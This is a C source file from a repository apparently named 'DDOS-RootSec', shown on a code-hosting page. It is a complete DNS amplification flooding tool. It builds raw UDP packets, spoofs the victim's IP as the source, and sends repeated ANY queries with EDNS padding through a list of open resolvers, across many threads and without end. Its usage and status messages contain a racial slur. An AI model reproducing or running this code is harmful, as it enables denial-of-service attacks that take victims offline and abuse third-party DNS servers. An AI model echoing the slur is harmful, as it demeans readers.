Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/50x.c
4565 views
1
#include <time.h>
2
#include <pthread.h>
3
#include <unistd.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <string.h>
7
#include <sys/socket.h>
8
#include <netinet/ip.h>
9
#include <netinet/udp.h>
10
#include <arpa/inet.h>
11
12
#define MAX_PACKET_SIZE 8192
13
#define PHI 0x9e3779b9
14
#define PACKETS_PER_RESOLVER 25
15
16
static uint32_t Q[4096], c = 362436;
17
18
struct list
19
{
20
struct sockaddr_in data;
21
char domain[512];
22
int line;
23
struct list *next;
24
struct list *prev;
25
};
26
struct list *head;
27
28
struct thread_data{
29
int thread_id;
30
struct list *list_node;
31
struct sockaddr_in sin;
32
int port;
33
};
34
35
struct DNS_HEADER
36
{
37
unsigned short id; // identification number
38
39
unsigned char rd :1; // recursion desired
40
unsigned char tc :1; // truncated message
41
unsigned char aa :1; // authoritive answer
42
unsigned char opcode :4; // purpose of message
43
unsigned char qr :1; // query/response flag
44
45
unsigned char rcode :4; // response code
46
unsigned char cd :1; // checking disabled
47
unsigned char ad :1; // authenticated data
48
unsigned char z :1; // its z! reserved
49
unsigned char ra :1; // recursion available
50
51
unsigned short q_count; // number of question entries
52
unsigned short ans_count; // number of answer entries
53
unsigned short auth_count; // number of authority entries
54
unsigned short add_count; // number of resource entries
55
};
56
57
//Constant sized fields of query structure
58
struct QUESTION
59
{
60
unsigned short qtype;
61
unsigned short qclass;
62
};
63
64
//Constant sized fields of the resource record structure
65
struct QUERY
66
{
67
unsigned char *name;
68
struct QUESTION *ques;
69
};
70
71
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
72
{
73
int lock = 0 , i;
74
strcat((char*)host,".");
75
76
for(i = 0 ; i < strlen((char*)host) ; i++)
77
{
78
if(host[i]=='.')
79
{
80
*dns++ = i-lock;
81
for(;lock<i;lock++)
82
{
83
*dns++=host[lock];
84
}
85
lock++; //or lock=i+1;
86
}
87
}
88
*dns++='\0';
89
}
90
void init_rand(uint32_t x)
91
{
92
int i;
93
94
Q[0] = x;
95
Q[1] = x + PHI;
96
Q[2] = x + PHI + PHI;
97
98
for (i = 3; i < 4096; i++)
99
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
100
}
101
102
uint32_t rand_cmwc(void)
103
{
104
uint64_t t, a = 18782LL;
105
static uint32_t i = 4095;
106
uint32_t x, r = 0xfffffffe;
107
i = (i + 1) & 4095;
108
t = a * Q[i] + c;
109
c = (t >> 32);
110
x = t + c;
111
if (x < c) {
112
x++;
113
c++;
114
}
115
return (Q[i] = r - x);
116
}
117
118
/* function for header checksums */
119
unsigned short csum (unsigned short *buf, int nwords)
120
{
121
unsigned long sum;
122
for (sum = 0; nwords > 0; nwords--)
123
sum += *buf++;
124
sum = (sum >> 16) + (sum & 0xffff);
125
sum += (sum >> 16);
126
return (unsigned short)(~sum);
127
}
128
129
void setup_udp_header(struct udphdr *udph)
130
{
131
132
}
133
134
void *flood(void *par1)
135
{
136
struct thread_data *td = (struct thread_data *)par1;
137
138
fprintf(stdout, "Thread %d started\n", td->thread_id);
139
140
char strPacket[MAX_PACKET_SIZE];
141
int iPayloadSize = 0;
142
143
struct sockaddr_in sin = td->sin;
144
struct list *list_node = td->list_node;
145
int iPort = td->port;
146
147
int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
148
if(s < 0)
149
{
150
fprintf(stderr, "Could not open raw socket. You need to be root!\n");
151
exit(-1);
152
}
153
154
//init random
155
init_rand(time(NULL));
156
157
// Clear the data
158
memset(strPacket, 0, MAX_PACKET_SIZE);
159
160
// Make the packet
161
struct iphdr *iph = (struct iphdr *) &strPacket;
162
iph->ihl = 5;
163
iph->version = 4;
164
iph->tos = 0;
165
iph->tot_len = sizeof(struct iphdr) + 38;
166
iph->id = htonl(54321);
167
iph->frag_off = 0;
168
iph->ttl = MAXTTL;
169
iph->protocol = IPPROTO_UDP;
170
iph->check = 0;
171
iph->saddr = inet_addr("192.168.3.100");
172
173
iPayloadSize += sizeof(struct iphdr);
174
175
176
struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
177
udph->source = htons(iPort);
178
udph->dest = htons(53);
179
udph->check = 0;
180
181
iPayloadSize += sizeof(struct udphdr);
182
183
struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];
184
dns->id = (unsigned short) htons(rand_cmwc());
185
dns->qr = 0; //This is a query
186
dns->opcode = 0; //This is a standard query
187
dns->aa = 0; //Not Authoritative
188
dns->tc = 0; //This message is not truncated
189
dns->rd = 1; //Recursion Desired
190
dns->ra = 0; //Recursion not available! hey we dont have it
191
dns->z = 0;
192
dns->ad = 0;
193
dns->cd = 0;
194
dns->rcode = 0;
195
dns->q_count = htons(1); //we have only 1 question
196
dns->ans_count = 0;
197
dns->auth_count = 0;
198
dns->add_count = htons(1);
199
200
iPayloadSize += sizeof(struct DNS_HEADER);
201
202
sin.sin_port = udph->source;
203
iph->saddr = sin.sin_addr.s_addr;
204
iph->daddr = list_node->data.sin_addr.s_addr;
205
iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
206
207
208
char strDomain[512];
209
int i;
210
int j = 0;
211
int iAdditionalSize = 0;
212
while(1)
213
{
214
if(j==2){
215
usleep(100);
216
j=0;
217
}
218
219
220
221
//set the next node
222
list_node = list_node->next;
223
224
//Clear the old domain and question
225
memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
226
227
//add the chosen domain and question
228
iAdditionalSize = 0;
229
230
unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
231
232
strcpy(strDomain, list_node->domain);
233
ChangetoDnsNameFormat(qname, strDomain);
234
//printf("!!%s %d\n", list_node->domain, list_node->line);
235
236
iAdditionalSize += strlen(qname) + 1;
237
238
struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
239
qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
240
qinfo->qclass = htons(1);
241
242
iAdditionalSize += sizeof(struct QUESTION);
243
244
strPacket[iPayloadSize + iAdditionalSize] = 0x00;
245
strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
246
strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
247
strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
248
strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
249
strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
250
strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
251
strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
252
strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
253
strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
254
strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
255
strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
256
257
iAdditionalSize += 11;
258
259
260
//set new node data
261
iph->daddr = list_node->data.sin_addr.s_addr;
262
263
udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
264
iph->tot_len = iPayloadSize + iAdditionalSize;
265
266
udph->source = htons(rand_cmwc() & 0xFFFF);
267
iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
268
269
//send
270
for(i = 0; i < PACKETS_PER_RESOLVER; i++)
271
{
272
sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
273
}
274
275
j++;
276
}
277
}
278
279
void ParseResolverLine(char *strLine, int iLine)
280
{
281
char caIP[32] = "";
282
char caDNS[512] = "";
283
284
int i;
285
char buffer[512] = "";
286
287
int moved = 0;
288
289
for(i = 0; i < strlen(strLine); i++)
290
{
291
if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
292
{
293
moved++;
294
continue;
295
}
296
297
if(moved == 0)
298
{
299
caIP[strlen(caIP)] = (char) strLine[i];
300
}
301
else if(moved == 1)
302
{
303
caDNS[strlen(caDNS)] = (char) strLine[i];
304
}
305
}
306
307
//printf("Found resolver %s, domain %s!\n", caIP, caDNS);
308
309
if(head == NULL)
310
{
311
head = (struct list *)malloc(sizeof(struct list));
312
313
bzero(&head->data, sizeof(head->data));
314
315
head->data.sin_addr.s_addr=inet_addr(caIP);
316
head->data.sin_port=htons(53);
317
strcpy(head->domain, caDNS);
318
head->line = iLine;
319
head->next = head;
320
head->prev = head;
321
}
322
else
323
{
324
struct list *new_node = (struct list *)malloc(sizeof(struct list));
325
326
memset(new_node, 0x00, sizeof(struct list));
327
328
new_node->data.sin_addr.s_addr=inet_addr(caIP);
329
new_node->data.sin_port=htons(53);
330
strcpy(new_node->domain, caDNS);
331
new_node->prev = head;
332
head->line = iLine;
333
new_node->next = head->next;
334
head->next = new_node;
335
}
336
}
337
338
int main(int argc, char *argv[ ])
339
{
340
if(argc < 4)
341
{
342
fprintf(stdout, "Usage: %s <NIGGAS IP> <port> <reflection file> <threads> <time>\n", argv[0]);
343
exit(-1);
344
}
345
346
head = NULL;
347
348
char *strLine = (char *) malloc(256);
349
strLine = memset(strLine, 0x00, 256);
350
351
char strIP[32] = "";
352
char strDomain[256] = "";
353
354
int iLine = 0; // 0 = ip, 1 = domain.
355
356
FILE *list_fd = fopen(argv[3], "r");
357
while(fgets(strLine, 256, list_fd) != NULL)
358
{
359
ParseResolverLine(strLine, iLine);
360
iLine++;
361
}
362
363
364
int i = 0;
365
int num_threads = atoi(argv[4]);
366
367
struct list *current = head->next;
368
pthread_t thread[num_threads];
369
struct sockaddr_in sin;
370
sin.sin_family = AF_INET;
371
sin.sin_port = htons(0);
372
sin.sin_addr.s_addr = inet_addr(argv[1]);
373
struct thread_data td[num_threads];
374
375
int iPort = atoi(argv[2]);
376
377
printf("Target: %s:%d\n", argv[1], iPort);
378
379
for(i = 0; i < num_threads; i++)
380
{
381
td[i].thread_id = i;
382
td[i].sin= sin;
383
td[i].list_node = current;
384
td[i].port = iPort;
385
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
386
}
387
388
fprintf(stdout, "Starting Flood... Nigga!!\n");
389
390
if(argc > 4)
391
{
392
sleep(atoi(argv[5]));
393
}
394
else
395
{
396
while(1)
397
{
398
sleep(1);
399
}
400
}
401
402
return 0;
403
}
404